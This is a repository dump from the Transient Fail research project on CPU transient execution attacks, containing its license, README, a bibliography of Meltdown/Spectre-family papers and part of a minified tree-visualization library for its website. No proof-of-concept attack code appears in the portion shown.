[
  {
    "path": "LICENSE",
    "content": "zlib License\n\n(C) 2020 Graz University of Technology\n\nThis software is provided 'as-is', without any express or implied\nwarranty.  In no event will the authors be held liable for any damages\narising from the use of this software.\n\nPermission is granted to anyone to use this software for any purpose,\nincluding commercial applications, and to alter it and redistribute it\nfreely, subject to the following restrictions:\n\n1. The origin of this software must not be misrepresented; you must not\n   claim that you wrote the original software. If you use this software\n   in a product, an acknowledgment in the product documentation would be\n   appreciated but is not required.\n2. Altered source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n3. This notice may not be removed or altered from any source distribution. \n"
  },
  {
    "path": "README.md",
    "content": "# Transient Fail\n\nTransient Fail is a project that gathers different proof-of-concept implementations of Transient Execution Attacks. It was originally developed for our Usenix 2019 paper\n\n[A Systematic Evaluation of Transient Execution Attacks and Defenses](http://cc0x1f.net/publications/transient_sytematization.pdf) by Canella, Van Bulck, Schwarz, Lipp, von Berg, Ortner, Piessens, Evtyushkin and Gruss\n\n## Content\nThis project provides two different things:\n* In the docs folder, we provide the source for the content of the [transient.fail](http://transient.fail) website.\n* In the pocs folder, we provide our proof-of-concept implementations as well as two libraries required for them. Libcache is a small library that provides all the required functionality for time measurement, flushing and loading values, TSX transactions and so on. Libpte is a fork of [PTEditor](https://github.com/misc0110/PTEditor) developed by Michael Schwarz and allows manipulation of paging structures via a Linux kernel module.\n\n## Status\n\nTransient Fail is under active development as we add new proof-of-concepts that we discover during our research. We invite everybody who wants to contribute to do so via pull requests.\n\n## Compilers and Operating Systems\n\nSo far, we only support Linux with gcc on x86 and ARMv8. Therefore, we have only tested them on such platforms, but welcome any feedback and pull requests on other platforms.\n\n## Literature\n\n* [Meltdown](https://meltdownattack.com)\n* [Spectre](https://spectreattack.com)\n* [Foreshadow](https://foreshadowattack.eu)\n* [Systematic Evaluation](https://www.usenix.org/conference/usenixsecurity19/presentation/canella)\n* [SpectreReturns](https://www.usenix.org/conference/woot18/presentation/koruyeh)\n* [ret2spec](https://arxiv.org/pdf/1807.10364.pdf)\n* [LazyFP](https://arxiv.org/pdf/1806.07480.pdf)\n\n"
  },
  {
    "path": "docs/CNAME",
    "content": "transient.fail"
  },
  {
    "path": "docs/bibliography.js",
    "content": "var sources = {\n    \"Canella2018\": {\n            \"title\": \"A Systematic Evaluation of Transient Execution Attacks and Defenses\",\n            \"author\": \"Claudio Canella, Jo Van Bulck, Michael Schwarz, Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens, Dmitry Evtyushkin, Daniel Gruss\",\n            \"url\": \"https://arxiv.org/pdf/1811.05441.pdf\",\n            \"conference\": \"USENIX Security 2019\"\n    },\n    \"Kocher2019\": {\n            title: \"Spectre Attacks: Exploiting Speculative Execution\",\n            author: \"Paul Kocher, Jann Horn, Anders Fogh, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, Yuval Yarom\",\n            url: \"https://spectreattack.com/spectre.pdf\",\n            conference: \"IEEE S&P 2019\"\n    },\n    \"Lipp2018\": {\n            title: \"Meltdown: Reading Kernel Memory from User Space\",\n            author: \"Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, Mike Hamburg\",\n            url: \"https://meltdownattack.com/meltdown.pdf\",\n            conference: \"USENIX Security 2018\"\n    },\n    \"Schwarz2019\": {\n            title: \"ZombieLoad: Cross-Privilege-Boundary Data Sampling\",\n            author: \"Michael Schwarz, Moritz Lipp, Daniel Moghimi, Jo Van Bulck, Julian Stecklina, Thomas Prescher, Daniel Gruss\",\n            url: \"https://zombieloadattack.com/zombieload.pdf\",\n            conference: \"ACM CCS 2019\"\n    },\n    \"Evtyushkin2018\": {\n            title: \"BranchScope: A New Side-Channel Attack on Directional Branch Predictor\",\n            author: \"Dmitry Evtyushkin, Ryan Riley, Nael Abu-Ghazaleh, Dmitry Ponomarev\",\n            url: \"http://www.cs.ucr.edu/~nael/pubs/asplos18.pdf\",\n            conference: \"ASPLOS 2018\"\n    },\n    \"Fog\": {\n            url: \"https://www.agner.org/optimize/microarchitecture.pdf\",\n            author: \"Agner Fog\",\n            title: \"The microarchitecture of Intel, AMD and VIA CPUs\"\n    },\n    \"Maisuradze2018\": {\n            url: \"https://arxiv.org/pdf/1807.10364.pdf\",\n            title: \"ret2spec: Speculative Execution Using Return Stack Buffers\",\n            author: \"Giorgi Maisuradze, Christian Rossow\",\n            conference: \"ACM CCS 2018\"\n    },\n    \"Koruyeh2018\": {\n            url: \"https://www.usenix.org/system/files/conference/woot18/woot18-paper-koruyeh.pdf\",\n            title: \"Spectre Returns! Speculation Attacks using the Return Stack Buffer\",\n            author: \"Esmaeil Mohammadian Koruyeh, Khaled N. Khasawneh, Chengyu Song, Nael Abu-Ghazaleh\",\n            conference: \"USENIX WOOT 2018\"\n    },\n    \"Horn2018\": {\n            url: \"https://bugs.chromium.org/p/project-zero/issues/detail?id=1528\",\n            title: \"Speculative execution, variant 4: speculative store bypass\",\n            author: \"Jann Horn\"\n    },\n    \"Stecklina2018\": {\n            url: \"https://arxiv.org/pdf/1806.07480.pdf\",\n            title: \"LazyFP: Leaking FPU Register State using Microarchitectural Side-Channels\",\n            author: \"Julian Stecklina, Thomas Prescher\"\n    },\n    \"Intel2018\": {\n            url: \"https://software.intel.com/security-software-guidance/api-app/sites/default/files/336996-Speculative-Execution-Side-Channel-Mitigations.pdf\",\n            author: \"Intel\",\n            title: \"Speculative Execution Side Channel Mitigations\"\n    },\n    \"ARM2018\": {\n            url: \"https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability/download-the-whitepaper\",\n            author: \"ARM\",\n            title: \"Whitepaper Cache Speculation Side-channels\"\n    },\n    \"VanBulck2018\": {\n            title: \"Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient Out-of-Order Execution\",\n            author: \"Jo Van Bulck, Marina Minkin, Ofir Weisse, Daniel Genkin, Baris Kasikci, Frank Piessens, Mark Silberstein, Thomas F. Wenisch, Yuval Yarom, Raoul Strackx\",\n            url: \"https://foreshadowattack.eu/foreshadow.pdf\",\n            conference: \"USENIX Security 2018\"\n    },\n    \"Weisse2018\": {\n            title: \"Foreshadow-NG: Breaking the Virtual Memory Abstraction with Transient Out-of-Order Execution\",\n            author: \"Ofir Weisse, Jo Van Bulck, Marina Minkin, Daniel Genkin, Baris Kasikci, Frank Piessens, Mark Silberstein, Raoul Strackx, Thomas F. Wenisch, Yuval Yarom\",\n            url: \"https://foreshadowattack.eu/foreshadow-NG.pdf\"\n    },\n    \"Kiriansky2018\": {\n            url: \"https://arxiv.org/pdf/1807.03757.pdf\",\n            title: \"Speculative Buffer Overflows: Attacks and Defenses\",\n            author: \"Vladimir Kiriansky, Carl Waldspurger\"\n    },\n    \"VanSchaik2019\": {\n            title: \"RIDL: Rogue In-flight Data Load\",\n            author: \"Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida\",\n            url: \"https://mdsattacks.com/files/ridl.pdf\",\n            conference: \"IEEE S&P 2019\"\n    },\n    \"RIDLAddendum1\": {\n            title: \"Addendum 1 to RIDL: Rogue In-flight Data Load\",\n            author: \"Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida\",\n            url: \"https://mdsattacks.com/files/ridl-addendum.pdf\",\n            conference: \"Addendum to IEEE S&P 2019 paper\",\n    },\n    \"Canella2019\": {\n            title: \"Fallout: Leaking Data on Meltdown-Resistant CPUs\",\n            author: \"Claudio Canella, Daniel Genkin, Lukas Giner, Daniel Gruss, Moritz Lipp, Marina Minkin, Daniel Moghimi, Frank Piessens, Michael Schwarz, Berk Sunar, Jo Van Bulck, Yuval Yarom\",\n            url: \"https://dl.acm.org/doi/abs/10.1145/3319535.3363219\",\n            conference: \"ACM CCS 2019\"\n    },\n    \"IntelMDS\": {\n            url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\",\n            author: \"Intel\",\n            title: \"Deep Dive: Intel Analysis of Microarchitectural Data Sampling\"\n    },\n    \"IntelTAA\": {\n            url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort\",\n            author: \"Intel\",\n            title: \"Deep Dive: Intel Transactional Synchronization Extensions (Intel TSX) Asynchronous Abort\"\n    },\n    \"Chen2019\": {\n            title: \"SGXPECTRE: Stealing Intel Secrets from SGX Enclaves via Speculative Execution\",\n            author: \"Guoxing Chen, Sanchuan Chen, Yuan Xiao, Yinqian Zhang, Zhiqiang Lin, Ten H. Lai\",\n            conference: \"IEEE EuroS&P 2019\",\n            url: \"https://arxiv.org/pdf/1802.09085.pdf\"\n    },\n    \"Falk2019\": {\n            author: \"Brandon Falk\",\n            title: \"CPU Introspection: Intel Load Port Snooping\",\n            url: \"https://gamozolabs.github.io/metrology/2019/12/30/load-port-monitor.html\",\n            conference: \"Gamozo Labs Blog\",\n    },\n};\n \n"
  },
  {
    "path": "docs/css/style.css",
    "content": ".desc_top {\n    position: fixed;\n    top: -3em;\n}\n.desc_bottom {\n    position: fixed;\n    top: 3em;\n}\n.node {\n    cursor: pointer;\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n    align-items: center;\n    border-radius: 5px;\n    z-index: 99;\n}\n.highlight {\n    background-color: yellow;\n}\n \n*{\n    font-family:\"Roboto\";\n}\n"
  },
  {
    "path": "docs/dist/index.js",
    "content": "!function(t,n){\"object\"==typeof exports&&\"object\"==typeof module?module.exports=n():\"function\"==typeof define&&define.amd?define([],n):\"object\"==typeof exports?exports.Treeviz=n():t.Treeviz=n()}(window,function(){return function(t){var n={};function e(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,e),i.l=!0,i.exports}return e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){\"undefined\"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(t,\"__esModule\",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return t;if(4&n&&\"object\"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,\"default\",{enumerable:!0,value:t}),2&n&&\"string\"!=typeof t)for(var i in t)e.d(r,i,function(n){return t[n]}.bind(null,i));return r},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,\"a\",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p=\"/\",e(e.s=4)}([function(t,n,e){\"use strict\";e.r(n);var r=\"http://www.w3.org/1999/xhtml\",i={svg:\"http://www.w3.org/2000/svg\",xhtml:r,xlink:\"http://www.w3.org/1999/xlink\",xml:\"http://www.w3.org/XML/1998/namespace\",xmlns:\"http://www.w3.org/2000/xmlns/\"},o=function(t){var n=t+=\"\",e=n.indexOf(\":\");return e>=0&&\"xmlns\"!==(n=t.slice(0,e))&&(t=t.slice(e+1)),i.hasOwnProperty(n)?{space:i[n],local:t}:t};var u=function(t){var n=o(t);return(n.local?function(t){return function(){return this.ownerDocument.createElementNS(t.space,t.local)}}:function(t){return function(){var n=this.ownerDocument,e=this.namespaceURI;return e===r&&n.documentElement.namespaceURI===r?n.createElement(t):n.createElementNS(e,t)}})(n)};function a(){}var c=function(t){return null==t?a:function(){return this.querySelector(t)}};function s(){return[]}var l=function(t){return null==t?s:function(){return this.querySelectorAll(t)}},h=function(t){return function(){return this.matches(t)}},f=function(t){return new Array(t.length)};function p(t,n){this.ownerDocument=t.ownerDocument,this.namespaceURI=t.namespaceURI,this._next=null,this._parent=t,this.__data__=n}p.prototype={constructor:p,appendChild:function(t){return this._parent.insertBefore(t,this._next)},insertBefore:function(t,n){return this._parent.insertBefore(t,n)},querySelector:function(t){return this._parent.querySelector(t)},querySelectorAll:function(t){return this._parent.querySelectorAll(t)}};var d=\"$\";function v(t,n,e,r,i,o){for(var u,a=0,c=n.length,s=o.length;a<s;++a)(u=n[a])?(u.__data__=o[a],r[a]=u):e[a]=new p(t,o[a]);for(;a<c;++a)(u=n[a])&&(i[a]=u)}function y(t,n,e,r,i,o,u){var a,c,s,l={},h=n.length,f=o.length,v=new Array(h);for(a=0;a<h;++a)(c=n[a])&&(v[a]=s=d+u.call(c,c.__data__,a,n),s in l?i[a]=c:l[s]=c);for(a=0;a<f;++a)(c=l[s=d+u.call(t,o[a],a,o)])?(r[a]=c,c.__data__=o[a],l[s]=null):e[a]=new p(t,o[a]);for(a=0;a<h;++a)(c=n[a])&&l[v[a]]===c&&(i[a]=c)}function m(t,n){return t<n?-1:t>n?1:t>=n?0:NaN}var g=function(t){return t.ownerDocument&&t.ownerDocument.defaultView||t.document&&t||t.defaultView};function _(t,n){return t.style.getPropertyValue(n)||g(t).getComputedStyle(t,null).getPropertyValue(n)}function w(t){return t.trim().split(/^|\\s+/)}function x(t){return t.classList||new b(t)}function b(t){this._node=t,this._names=w(t.getAttribute(\"class\")||\"\")}function M(t,n){for(var e=x(t),r=-1,i=n.length;++r<i;)e.add(n[r])}function k(t,n){for(var e=x(t),r=-1,i=n.length;++r<i;)e.remove(n[r])}b.prototype={add:function(t){this._names.indexOf(t)<0&&(this._names.push(t),this._node.setAttribute(\"class\",this._names.join(\" \")))},remove:function(t){var n=this._names.indexOf(t);n>=0&&(this._names.splice(n,1),this._node.setAttribute(\"class\",this._names.join(\" \")))},contains:function(t){return this._names.indexOf(t)>=0}};function A(){this.textContent=\"\"}function z(){this.innerHTML=\"\"}function N(){this.nextSibling&&this.parentNode.appendChild(this)}function E(){this.previousSibling&&this.parentNode.insertBefore(this,this.parentNode.firstChild)}function S(){return null}function O(){var t=this.parentNode;t&&t.removeChild(this)}function j(){return this.parentNode.insertBefore(this.cloneNode(!1),this.nextSibling)}function P(){return this.parentNode.insertBefore(this.cloneNode(!0),this.nextSibling)}var T={},L=null;\"undefined\"!=typeof document&&(\"onmouseenter\"in document.documentElement||(T={mouseenter:\"mouseover\",mouseleave:\"mouseout\"}));function q(t,n,e){return t=B(t,n,e),function(n){var e=n.relatedTarget;e&&(e===this||8&e.compareDocumentPosition(this))||t.call(this,n)}}function B(t,n,e){return function(r){var i=L;L=r;try{t.call(this,this.__data__,n,e)}finally{L=i}}}function I(t){return function(){var n=this.__on;if(n){for(var e,r=0,i=-1,o=n.length;r<o;++r)e=n[r],t.type&&e.type!==t.type||e.name!==t.name?n[++i]=e:this.removeEventListener(e.type,e.listener,e.capture);++i?n.length=i:delete this.__on}}}function C(t,n,e){var r=T.hasOwnProperty(t.type)?q:B;return function(i,o,u){var a,c=this.__on,s=r(n,o,u);if(c)for(var l=0,h=c.length;l<h;++l)if((a=c[l]).type===t.type&&a.name===t.name)return this.removeEventListener(a.type,a.listener,a.capture),this.addEventListener(a.type,a.listener=s,a.capture=e),void(a.value=n);this.addEventListener(t.type,s,e),a={type:t.type,name:t.name,value:n,listener:s,capture:e},c?c.push(a):this.__on=[a]}}function D(t,n,e,r){var i=L;t.sourceEvent=L,L=t;try{return n.apply(e,r)}finally{L=i}}function H(t,n,e){var r=g(t),i=r.CustomEvent;\"function\"==typeof i?i=new i(n,e):(i=r.document.createEvent(\"Event\"),e?(i.initEvent(n,e.bubbles,e.cancelable),i.detail=e.detail):i.initEvent(n,!1,!1)),t.dispatchEvent(i)}var X=[null];function Y(t,n){this._groups=t,this._parents=n}function R(){return new Y([[document.documentElement]],X)}Y.prototype=R.prototype={constructor:Y,select:function(t){\"function\"!=typeof t&&(t=c(t));for(var n=this._groups,e=n.length,r=new Array(e),i=0;i<e;++i)for(var o,u,a=n[i],s=a.length,l=r[i]=new Array(s),h=0;h<s;++h)(o=a[h])&&(u=t.call(o,o.__data__,h,a))&&(\"__data__\"in o&&(u.__data__=o.__data__),l[h]=u);return new Y(r,this._parents)},selectAll:function(t){\"function\"!=typeof t&&(t=l(t));for(var n=this._groups,e=n.length,r=[],i=[],o=0;o<e;++o)for(var u,a=n[o],c=a.length,s=0;s<c;++s)(u=a[s])&&(r.push(t.call(u,u.__data__,s,a)),i.push(u));return new Y(r,i)},filter:function(t){\"function\"!=typeof t&&(t=h(t));for(var n=this._groups,e=n.length,r=new Array(e),i=0;i<e;++i)for(var o,u=n[i],a=u.length,c=r[i]=[],s=0;s<a;++s)(o=u[s])&&t.call(o,o.__data__,s,u)&&c.push(o);return new Y(r,this._parents)},data:function(t,n){if(!t)return d=new Array(this.size()),l=-1,this.each(function(t){d[++l]=t}),d;var e,r=n?y:v,i=this._parents,o=this._groups;\"function\"!=typeof t&&(e=t,t=function(){return e});for(var u=o.length,a=new Array(u),c=new Array(u),s=new Array(u),l=0;l<u;++l){var h=i[l],f=o[l],p=f.length,d=t.call(h,h&&h.__data__,l,i),m=d.length,g=c[l]=new Array(m),_=a[l]=new Array(m);r(h,f,g,_,s[l]=new Array(p),d,n);for(var w,x,b=0,M=0;b<m;++b)if(w=g[b]){for(b>=M&&(M=b+1);!(x=_[M])&&++M<m;);w._next=x||null}}return(a=new Y(a,i))._enter=c,a._exit=s,a},enter:function(){return new Y(this._enter||this._groups.map(f),this._parents)},exit:function(){return new Y(this._exit||this._groups.map(f),this._parents)},join:function(t,n,e){var r=this.enter(),i=this,o=this.exit();return r=\"function\"==typeof t?t(r):r.append(t+\"\"),null!=n&&(i=n(i)),null==e?o.remove():e(o),r&&i?r.merge(i).order():i},merge:function(t){for(var n=this._groups,e=t._groups,r=n.length,i=e.length,o=Math.min(r,i),u=new Array(r),a=0;a<o;++a)for(var c,s=n[a],l=e[a],h=s.length,f=u[a]=new Array(h),p=0;p<h;++p)(c=s[p]||l[p])&&(f[p]=c);for(;a<r;++a)u[a]=n[a];return new Y(u,this._parents)},order:function(){for(var t=this._groups,n=-1,e=t.length;++n<e;)for(var r,i=t[n],o=i.length-1,u=i[o];--o>=0;)(r=i[o])&&(u&&4^r.compareDocumentPosition(u)&&u.parentNode.insertBefore(r,u),u=r);return this},sort:function(t){function n(n,e){return n&&e?t(n.__data__,e.__data__):!n-!e}t||(t=m);for(var e=this._groups,r=e.length,i=new Array(r),o=0;o<r;++o){for(var u,a=e[o],c=a.length,s=i[o]=new Array(c),l=0;l<c;++l)(u=a[l])&&(s[l]=u);s.sort(n)}return new Y(i,this._parents).order()},call:function(){var t=arguments[0];return arguments[0]=this,t.apply(null,arguments),this},nodes:function(){var t=new Array(this.size()),n=-1;return this.each(function(){t[++n]=this}),t},node:function(){for(var t=this._groups,n=0,e=t.length;n<e;++n)for(var r=t[n],i=0,o=r.length;i<o;++i){var u=r[i];if(u)return u}return null},size:function(){var t=0;return this.each(function(){++t}),t},empty:function(){return!this.node()},each:function(t){for(var n=this._groups,e=0,r=n.length;e<r;++e)for(var i,o=n[e],u=0,a=o.length;u<a;++u)(i=o[u])&&t.call(i,i.__data__,u,o);return this},attr:function(t,n){var e=o(t);if(arguments.length<2){var r=this.node();return e.local?r.getAttributeNS(e.space,e.local):r.getAttribute(e)}return this.each((null==n?e.local?function(t){return function(){this.removeAttributeNS(t.space,t.local)}}:function(t){return function(){this.removeAttribute(t)}}:\"function\"==typeof n?e.local?function(t,n){return function(){var e=n.apply(this,arguments);null==e?this.removeAttributeNS(t.space,t.local):this.setAttributeNS(t.space,t.local,e)}}:function(t,n){return function(){var e=n.apply(this,arguments);null==e?this.removeAttribute(t):this.setAttribute(t,e)}}:e.local?function(t,n){return function(){this.setAttributeNS(t.space,t.local,n)}}:function(t,n){return function(){this.setAttribute(t,n)}})(e,n))},style:function(t,n,e){return arguments.length>1?this.each((null==n?function(t){return function(){this.style.removeProperty(t)}}:\"function\"==typeof n?function(t,n,e){return function(){var r=n.apply(this,arguments);null==r?this.style.removeProperty(t):this.style.setProperty(t,r,e)}}:function(t,n,e){return function(){this.style.setProperty(t,n,e)}})(t,n,null==e?\"\":e)):_(this.node(),t)},property:function(t,n){return arguments.length>1?this.each((null==n?function(t){return function(){delete this[t]}}:\"function\"==typeof n?function(t,n){return function(){var e=n.apply(this,arguments);null==e?delete this[t]:this[t]=e}}:function(t,n){return function(){this[t]=n}})(t,n)):this.node()[t]},classed:function(t,n){var e=w(t+\"\");if(arguments.length<2){for(var r=x(this.node()),i=-1,o=e.length;++i<o;)if(!r.contains(e[i]))return!1;return!0}return this.each((\"function\"==typeof n?function(t,n){return function(){(n.apply(this,arguments)?M:k)(this,t)}}:n?function(t){return function(){M(this,t)}}:function(t){return function(){k(this,t)}})(e,n))},text:function(t){return arguments.length?this.each(null==t?A:(\"function\"==typeof t?function(t){return function(){var n=t.apply(this,arguments);this.textContent=null==n?\"\":n}}:function(t){return function(){this.textContent=t}})(t)):this.node().textContent},html:function(t){return arguments.length?this.each(null==t?z:(\"function\"==typeof t?function(t){return function(){var n=t.apply(this,arguments);this.innerHTML=null==n?\"\":n}}:function(t){return function(){this.innerHTML=t}})(t)):this.node().innerHTML},raise:function(){return this.each(N)},lower:function(){return this.each(E)},append:function(t){var n=\"function\"==typeof t?t:u(t);return this.select(function(){return this.appendChild(n.apply(this,arguments))})},insert:function(t,n){var e=\"function\"==typeof t?t:u(t),r=null==n?S:\"function\"==typeof n?n:c(n);return this.select(function(){return this.insertBefore(e.apply(this,arguments),r.apply(this,arguments)||null)})},remove:function(){return this.each(O)},clone:function(t){return this.select(t?P:j)},datum:function(t){return arguments.length?this.property(\"__data__\",t):this.node().__data__},on:function(t,n,e){var r,i,o=function(t){return t.trim().split(/^|\\s+/).map(function(t){var n=\"\",e=t.indexOf(\".\");return e>=0&&(n=t.slice(e+1),t=t.slice(0,e)),{type:t,name:n}})}(t+\"\"),u=o.length;if(!(arguments.length<2)){for(a=n?C:I,null==e&&(e=!1),r=0;r<u;++r)this.each(a(o[r],n,e));return this}var a=this.node().__on;if(a)for(var c,s=0,l=a.length;s<l;++s)for(r=0,c=a[s];r<u;++r)if((i=o[r]).type===c.type&&i.name===c.name)return c.value},dispatch:function(t,n){return this.each((\"function\"==typeof n?function(t,n){return function(){return H(this,t,n.apply(this,arguments))}}:function(t,n){return function(){return H(this,t,n)}})(t,n))}};var V=R,W=function(t){return\"string\"==typeof t?new Y([[document.querySelector(t)]],[document.documentElement]):new Y([[t]],X)},F=function(t){return W(u(t).call(document.documentElement))},U=0;function $(){return new G}function G(){this._=\"@\"+(++U).toString(36)}G.prototype=$.prototype={constructor:G,get:function(t){for(var n=this._;!(n in t);)if(!(t=t.parentNode))return;return t[n]},set:function(t,n){return t[this._]=n},remove:function(t){return this._ in t&&delete t[this._]},toString:function(){return this._}};var K=function(){for(var t,n=L;t=n.sourceEvent;)n=t;return n},Q=function(t,n){var e=t.ownerSVGElement||t;if(e.createSVGPoint){var r=e.createSVGPoint();return r.x=n.clientX,r.y=n.clientY,[(r=r.matrixTransform(t.getScreenCTM().inverse())).x,r.y]}var i=t.getBoundingClientRect();return[n.clientX-i.left-t.clientLeft,n.clientY-i.top-t.clientTop]},Z=function(t){var n=K();return n.changedTouches&&(n=n.changedTouches[0]),Q(t,n)},J=function(t){return\"string\"==typeof t?new Y([document.querySelectorAll(t)],[document.documentElement]):new Y([null==t?[]:t],X)},tt=function(t,n,e){arguments.length<3&&(e=n,n=K().changedTouches);for(var r,i=0,o=n?n.length:0;i<o;++i)if((r=n[i]).identifier===e)return Q(t,r);return null},nt=function(t,n){null==n&&(n=K().touches);for(var e=0,r=n?n.length:0,i=new Array(r);e<r;++e)i[e]=Q(t,n[e]);return i};e.d(n,\"create\",function(){return F}),e.d(n,\"creator\",function(){return u}),e.d(n,\"local\",function(){return $}),e.d(n,\"matcher\",function(){return h}),e.d(n,\"mouse\",function(){return Z}),e.d(n,\"namespace\",function(){return o}),e.d(n,\"namespaces\",function(){return i}),e.d(n,\"clientPoint\",function(){return Q}),e.d(n,\"select\",function(){return W}),e.d(n,\"selectAll\",function(){return J}),e.d(n,\"selection\",function(){return V}),e.d(n,\"selector\",function(){return c}),e.d(n,\"selectorAll\",function(){return l}),e.d(n,\"style\",function(){return _}),e.d(n,\"touch\",function(){return tt}),e.d(n,\"touches\",function(){return nt}),e.d(n,\"window\",function(){return g}),e.d(n,\"event\",function(){return L}),e.d(n,\"customEvent\",function(){return D})},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.getAreaSize=function(t){var n=document.querySelector(\"#\"+t);if(null===n)throw new Error(\"Cannot find dom element with id:\"+t);var e=n.clientWidth,r=n.clientHeight;if(0===r||0===e)throw new Error(\"The tree can't be display because the svg height or width of the container is null\");return{areaWidth:e,areaHeight:r}},n.getFirstDisplayedAncestor=function(t,e,r){try{var i=t.find(function(t){return t.id===r}),o=i.ancestors()[1].id;return e.some(function(t){return t.id===o})?i.ancestors()[1]:n.getFirstDisplayedAncestor(t,e,o)}catch(n){return t.find(function(t){return t.id===r})}},n.setNodeLocation=function(t,n,e){return e.isHorizontal?\"translate(\"+n+\",\"+t+\")\":\"translate(\"+t+\",\"+n+\")\"}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.generateLinkLayout=function(t,n,e){var i=e.isHorizontal,o=e.nodeHeight,u=e.nodeWidth,a=e.linkShape;return\"orthogonal\"===a?i?\"M \"+t.y+\" \"+(t.x+o/2)+\"\\n        L \"+(t.y+n.y+u)/2+\" \"+(t.x+o/2)+\"\\n        L  \"+(t.y+n.y+u)/2+\" \"+(n.x+o/2)+\"\\n          \"+(n.y+u)+\" \"+(n.x+o/2):\"M \"+(t.x+u/2)+\" \"+t.y+\"\\n        L \"+(t.x+u/2)+\" \"+(t.y+n.y+o)/2+\"\\n        L  \"+(n.x+u/2)+\" \"+(t.y+n.y+o)/2+\"\\n          \"+(n.x+u/2)+\" \"+(n.y+o)+\" \":\"curve\"===a?i?\"M \"+t.y+\" \"+(t.x+o/2)+\"\\n      L \"+(t.y-(t.y-n.y-u)/2+15)+\" \"+(t.x+o/2)+\"\\n      Q\"+(t.y-(t.y-n.y-u)/2)+\" \"+(t.x+o/2)+\"\\n       \"+(t.y-(t.y-n.y-u)/2)+\" \"+(t.x+o/2-r(t.x,n.x,15))+\"\\n      L \"+(t.y-(t.y-n.y-u)/2)+\" \"+(n.x+o/2)+\"\\n      L \"+(n.y+u)+\" \"+(n.x+o/2):\"M \"+(t.x+u/2)+\" \"+t.y+\"\\n      L \"+(t.x+u/2)+\" \"+(t.y-(t.y-n.y-o)/2+15)+\"\\n      Q\"+(t.x+u/2)+\" \"+(t.y-(t.y-n.y-o)/2)+\"\\n      \"+(t.x+u/2-r(t.x,n.x,15))+\" \"+(t.y-(t.y-n.y-o)/2)+\"\\n      L \"+(n.x+u/2)+\" \"+(t.y-(t.y-n.y-o)/2)+\" \\n      L \"+(n.x+u/2)+\" \"+(n.y+o)+\" \":i?\"M \"+t.y+\" \"+(t.x+o/2)+\"\\n        C \"+(t.y+n.y+u)/2+\" \"+(t.x+o/2)+\"\\n          \"+(t.y+n.y+u)/2+\" \"+(n.x+o/2)+\"\\n          \"+(n.y+u)+\" \"+(n.x+o/2):\"M \"+(t.x+u/2)+\" \"+t.y+\"\\n        C \"+(t.x+u/2)+\" \"+(t.y+n.y+o)/2+\"\\n          \"+(n.x+u/2)+\" \"+(t.y+n.y+o)/2+\"\\n          \"+(n.x+u/2)+\" \"+(n.y+o)+\" \"};var r=function(t,n,e){return t>n?e:t<n?-e:0}},function(t,n,e){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(14),i=e(0),o=e(13);n.default={hierarchy:r.hierarchy,stratify:r.stratify,tree:r.tree,treemap:r.treemap,select:i.select,selectAll:i.selectAll,event:i.event,zoom:o.zoom}},function(t,n,e){\"use strict\";var r=this&&this.__assign||function(){return(r=Object.assign||function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t}).apply(this,arguments)};Object.defineProperty(n,\"__esModule\",{value:!0});var i=e(5),o=e(6),u=e(7),a=e(8),c=e(9),s=e(10),l=e(11),h=e(12);n.create=function(t){var n=r({},{htmlId:\"\",idKey:\"\",relationnalField:\"father\",hasFlatData:!0,nodeWidth:160,nodeHeight:100,mainAxisNodeSpacing:300,renderNode:function(){return\"Node\"},linkColor:function(){return\"#ffcc80\"},linkWidth:function(){return 10},linkShape:\"quadraticBeziers\",isHorizontal:!0,hasPanAndZoom:!1,duration:600,onNodeClick:function(){},onNodeMouseEnter:function(){},onNodeMouseLeave:function(){},marginBottom:0,marginLeft:0,marginRight:0,marginTop:0,secondaryAxisNodeSpacing:1.25},t),e=[],f={refresh:function(t,i){i&&(n=r({},n,i));var f=h.generateNestedData(t,n),d=h.generateBasicTreemap(n)(f);!function(t,r){var i=r.descendants(),h=r.descendants().slice(1),f=n.mainAxisNodeSpacing;\"auto\"!==f&&i.forEach(function(t){t.y=t.depth*n.nodeWidth*f}),i.forEach(function(t){var n=e.find(function(n){return n.id===t.id});t.x0=n?n.x0:t.x,t.y0=n?n.y0:t.y});var p=t.selectAll(\"g.node\").data(i,function(t){return t[n.idKey]}),d=c.drawNodeEnter(p,n,i,e);l.drawNodeUpdate(d,p,n),s.drawNodeExit(p,n,i,e);var v=t.selectAll(\"path.link\").data(h,function(t){return 